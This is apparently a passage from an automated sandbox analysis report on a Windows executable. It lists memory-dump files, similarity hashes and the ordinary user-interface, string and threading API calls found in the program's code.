          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$ClientCopyEmptyIntersectOffset
          • String ID:
          • API String ID: 1743551499-0
          • Opcode ID: 37df4696184f66dea97da99c99a802a2a7d276ddfab0771ce3fdf6a5bbb8e057
          • Instruction ID: 6e08f70a20cc9aadff1f0c0a636d74e27b2ef12ac297183638b6ff98dd88bec5
          • Opcode Fuzzy Hash: 37df4696184f66dea97da99c99a802a2a7d276ddfab0771ce3fdf6a5bbb8e057
          • Instruction Fuzzy Hash: 9C410AB66087019FC318CF59D88096BBBE9FBC8710F048A2EF556C7251DB34E949CB62
          APIs
          • GetStringTypeW.KERNEL32(00000001,004ADD0C,00000001,?,756EE860,00501204,?,?,0048248D,?,?,?,00000000,00000001), ref: 0048CAC7
          • GetStringTypeA.KERNEL32(00000000,00000001,004ADD08,00000001,?,?,0048248D,?,?,?,00000000,00000001), ref: 0048CAE1
          • GetStringTypeA.KERNEL32(?,?,?,?,0048248D,756EE860,00501204,?,?,0048248D,?,?,?,00000000,00000001), ref: 0048CB15
          • MultiByteToWideChar.KERNEL32(?,00501205,?,?,00000000,00000000,756EE860,00501204,?,?,0048248D,?,?,?,00000000,00000001), ref: 0048CB4D
          • MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,0048248D,?), ref: 0048CBA3
          • GetStringTypeW.KERNEL32(?,?,00000000,0048248D,?,?,?,?,?,?,0048248D,?), ref: 0048CBB5
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: StringType$ByteCharMultiWide
          • String ID:
          • API String ID: 3852931651-0
          • Opcode ID: 77c343351020fc5b91e5912e70031fb4dc7de1cec3c219d1cab9cbe92ef0808e
          • Instruction ID: e9ae3c0fb137caa1a89faea4b8b0d1d9f2e7cbb8a3144fa7455fa05292e69fb9
          • Opcode Fuzzy Hash: 77c343351020fc5b91e5912e70031fb4dc7de1cec3c219d1cab9cbe92ef0808e
          • Instruction Fuzzy Hash: 47419F72900219BFDF21AF64EC86EEF7F79EB09750F104826F901D2260D3389951CBA8
          APIs
            • Part of subcall function 00429400: CreateDIBitmap.GDI32(?,?,00000004,?,?,00000000), ref: 0042947B
          • CreateCompatibleDC.GDI32(?), ref: 004294EA
          • DeleteObject.GDI32(00000000), ref: 004294FF
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Create$BitmapCompatibleDeleteObject
          • String ID:
          • API String ID: 3709961035-0
          • Opcode ID: 2435ebb54ded4c5972e9ed7db12b5ded07c2443f77bb5bc71bbc2ceb013bff23
          • Instruction ID: 3be4bf1241821e3c79e89c17479abd7f5e3f558a29de617bde0be4a0884c864b
          • Opcode Fuzzy Hash: 2435ebb54ded4c5972e9ed7db12b5ded07c2443f77bb5bc71bbc2ceb013bff23
          • Instruction Fuzzy Hash: 8E3180762087419BC314DF29D880F5BBBE8FB89724F004A2EF55983391DB38A805CB66
          APIs
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: wsprintf
          • String ID: - $ - [$%d / %d]$?? / %d]
          • API String ID: 2111968516-3107364983
          • Opcode ID: e0c0fa844e083ecd302fefb3613851518762c00b9e51265bbbc29ea937825a08
          • Instruction ID: 2d5992ecd56c02d7c9fe1598d15c940c2a0f1ec7e65fbaee8299c113f06ae3f5
          • Opcode Fuzzy Hash: e0c0fa844e083ecd302fefb3613851518762c00b9e51265bbbc29ea937825a08
          • Instruction Fuzzy Hash: 9431A274204711AFC714DB25DD82FABBBE4EF85714F508A2EF49683290DB78A804CB5A
          APIs
          • TlsGetValue.KERNEL32(004FCF74,004FCF64,00000000,?,004FCF74,?,0049B8BD,004FCF64,00000000,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61), ref: 0049B660
          • EnterCriticalSection.KERNEL32(004FCF90,00000010,?,004FCF74,?,0049B8BD,004FCF64,00000000,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61), ref: 0049B6AF
          • LeaveCriticalSection.KERNEL32(004FCF90,00000000,?,004FCF74,?,0049B8BD,004FCF64,00000000,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61), ref: 0049B6C2
          • LocalAlloc.KERNEL32(00000000,00000004,?,004FCF74,?,0049B8BD,004FCF64,00000000,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61), ref: 0049B6D8
          • LocalReAlloc.KERNEL32(?,00000004,00000002,?,004FCF74,?,0049B8BD,004FCF64,00000000,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61), ref: 0049B6EA
          • TlsSetValue.KERNEL32(004FCF74,00000000), ref: 0049B726
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: AllocCriticalLocalSectionValue$EnterLeave
          • String ID:
          • API String ID: 4117633390-0
          • Opcode ID: fce94ffbbd93327a2eed39375d08527b6cca1d78647567569aab513720223bfb
          • Instruction ID: 77f91489323dbb82bc979300b26e99d55ebb554b6a6e4de2e9966f9891ce7812
          • Opcode Fuzzy Hash: fce94ffbbd93327a2eed39375d08527b6cca1d78647567569aab513720223bfb
          • Instruction Fuzzy Hash: 9B31BC71200204AFDB24DF55D889F6ABBE8EB89364F00852AE916C7650E738F815CBA5
          APIs
          • __EH_prolog.LIBCMT ref: 00494498
          • SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 004944E5
          • SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 00494507
          • GetCapture.USER32 ref: 00494519
          • SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 00494528
          • WinHelpA.USER32(?,?,?,?), ref: 0049453C
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend$CaptureH_prologHelp
          • String ID:
          • API String ID: 432264411-0
          • Opcode ID: e842e0b77844907482e4fad9d254625ab730933accc6cbd09d20b5c2787cad3c
          • Instruction ID: 5f12eacb9e76310365f3c5caac33b6f64f0becba596d8addd1688818adaf986c
          • Opcode Fuzzy Hash: e842e0b77844907482e4fad9d254625ab730933accc6cbd09d20b5c2787cad3c
          • Instruction Fuzzy Hash: B1219171600208BFEF216F55CC8AF6E7BA9FF48758F01457EB211961E2CB749C019B54
          APIs
          • GetParent.USER32(?), ref: 00499999
          • GetLastActivePopup.USER32(?), ref: 004999A8
          • IsWindowEnabled.USER32(?), ref: 004999BD
          • EnableWindow.USER32(?,00000000), ref: 004999D0
          • GetWindowLongA.USER32(?,000000F0), ref: 004999E2
          • GetParent.USER32(?), ref: 004999F0
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
          • String ID:
          • API String ID: 670545878-0
          • Opcode ID: ae3faa26d3f535e116d11d38f05e8896764f351683e3b7acc728bee044567a4c
          • Instruction ID: 833b9e1bdae0108ab1aa947729dec63e346e15862f7bd3424c3d7463c1c28529
          • Opcode Fuzzy Hash: ae3faa26d3f535e116d11d38f05e8896764f351683e3b7acc728bee044567a4c
          • Instruction Fuzzy Hash: 5411C6B2A013255B9E311E6F4C80B6BBE985F96B91F09023FED01D3315DB2CCC0142AD
          APIs
          • SendMessageA.USER32(?,0000110A,00000002,?), ref: 004122AB
          • SendMessageA.USER32(?,00001101,00000000,00000000), ref: 004122BD
          • SendMessageA.USER32(?,0000110A,00000002,?), ref: 004122CB
          • SendMessageA.USER32(?,0000110A,00000001,?), ref: 004122DD
          • SendMessageA.USER32(?,00001101,00000000,00000000), ref: 004122EF
          • SendMessageA.USER32(?,0000110A,00000001,?), ref: 004122FD
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend
          • String ID:
          • API String ID: 3850602802-0
          • Opcode ID: dd81c874466b4786eede336648868a27b1119950c0420a2ef4b9e51467370da8
          • Instruction ID: 776b0bfc76934b4351a62469440ce903f639c89dd6add11637a0e235c02c826b
          • Opcode Fuzzy Hash: dd81c874466b4786eede336648868a27b1119950c0420a2ef4b9e51467370da8
          • Instruction Fuzzy Hash: E50186B2B403053EF634D6658CC2FE7A2AD9F98B51F008619B701EB2C0C5F5EC814674
          APIs
          • GetCursorPos.USER32(?), ref: 00436D32
          • ScreenToClient.USER32(00000001,?), ref: 00436D41
            • Part of subcall function 00436DC0: DPtoLP.GDI32(?,?,00000001), ref: 00436ED7
          • LoadCursorA.USER32(00000000,00007F85), ref: 00436D71
          • SetCursor.USER32(00000000), ref: 00436D78
          • LoadCursorA.USER32(00000000,00007F84), ref: 00436D97
          • SetCursor.USER32(00000000), ref: 00436D9E
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Cursor$Load$ClientScreen
          • String ID:
          • API String ID: 789353160-0
          • Opcode ID: fd1179656b1fa0f87b856785aba7bd865af9002a4c3d318a461090695f3d261d
          • Instruction ID: b93ec082ea9cd5550ff660b66138c7b7dd1ae9c5e08a1df14e50784967382b20
          • Opcode Fuzzy Hash: fd1179656b1fa0f87b856785aba7bd865af9002a4c3d318a461090695f3d261d
          • Instruction Fuzzy Hash: 9811CC35604201ABCB10DF64ED49EDF77E8AB98B05F04462EF545872D0EA74D908C777
          APIs
          • GetFocus.USER32 ref: 0049936E
            • Part of subcall function 00499210: GetWindowLongA.USER32(00000000,000000F0), ref: 00499221
          • GetParent.USER32(00000000), ref: 00499395
            • Part of subcall function 00499210: GetClassNameA.USER32(00000000,?,0000000A), ref: 0049923C
            • Part of subcall function 00499210: lstrcmpiA.KERNEL32(?,combobox), ref: 0049924B
          • GetWindowLongA.USER32(?,000000F0), ref: 004993B0
          • GetParent.USER32(?), ref: 004993BE
          • GetDesktopWindow.USER32 ref: 004993C2
          • SendMessageA.USER32(00000000,0000014F,00000000,00000000), ref: 004993D6
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Window$LongParent$ClassDesktopFocusMessageNameSendlstrcmpi
          • String ID:
          • API String ID: 2818563221-0
          • Opcode ID: 28dc875c2925eeb3eb139b6aa2aa05e157ccb42c5b513f909e64acc63a5978d8
          • Instruction ID: ab8c9275ea73ece02c2c9919e59ec180e0105c020edc5fd41a08720b7cd3d762
          • Opcode Fuzzy Hash: 28dc875c2925eeb3eb139b6aa2aa05e157ccb42c5b513f909e64acc63a5978d8
          • Instruction Fuzzy Hash: 3BF0F4316416212ADE323B3D5C49F6F6D585B8AB91F19053EFD01E33D1AB698C0280AC
          APIs
          • ClientToScreen.USER32(?,?), ref: 00499294
          • GetWindow.USER32(?,00000005), ref: 004992A5
          • GetDlgCtrlID.USER32(00000000), ref: 004992AE
          • GetWindowLongA.USER32(00000000,000000F0), ref: 004992BD
          • GetWindowRect.USER32(00000000,?), ref: 004992CF
          • PtInRect.USER32(?,?,?), ref: 004992DF
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Window$Rect$ClientCtrlLongScreen
          • String ID:
          • API String ID: 1315500227-0
          • Opcode ID: 983364827fc81419f7ece9e4839ec746ef203f0e6775b102d07e2b77f3cc6e33
          • Instruction ID: ab815e7c4481fa2cfcfd6f4cd8ede8b7990143f90a0f998055f6994530314d5b
          • Opcode Fuzzy Hash: 983364827fc81419f7ece9e4839ec746ef203f0e6775b102d07e2b77f3cc6e33
          • Instruction Fuzzy Hash: 8F01783610412ABBDB119FAC9C48EEF7F6CEF4A310F448436F901D61A0E63489168BA8
          APIs
            • Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
            • Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1
            • Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B
          • IsRectEmpty.USER32(?), ref: 00412AF6
          • PatBlt.GDI32(?,?,?,?,?,00F00021), ref: 00412B7D
          • GetCurrentObject.GDI32(?,00000006), ref: 00412C0A
          • GetClientRect.USER32(?,?), ref: 00412C7C
            • Part of subcall function 004988F5: __EH_prolog.LIBCMT ref: 004988FA
            • Part of subcall function 004988F5: EndPaint.USER32(?,?,?,?,0040D8E3), ref: 00498917
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: H_prologPaintRect$BeginClientClipCurrentEmptyObject
          • String ID: \[J
          • API String ID: 3717962522-1436623575
          • Opcode ID: 105181172f00a61b73d5b4d85f37de14bf2095d96a20a125fc8eeacebdda1205
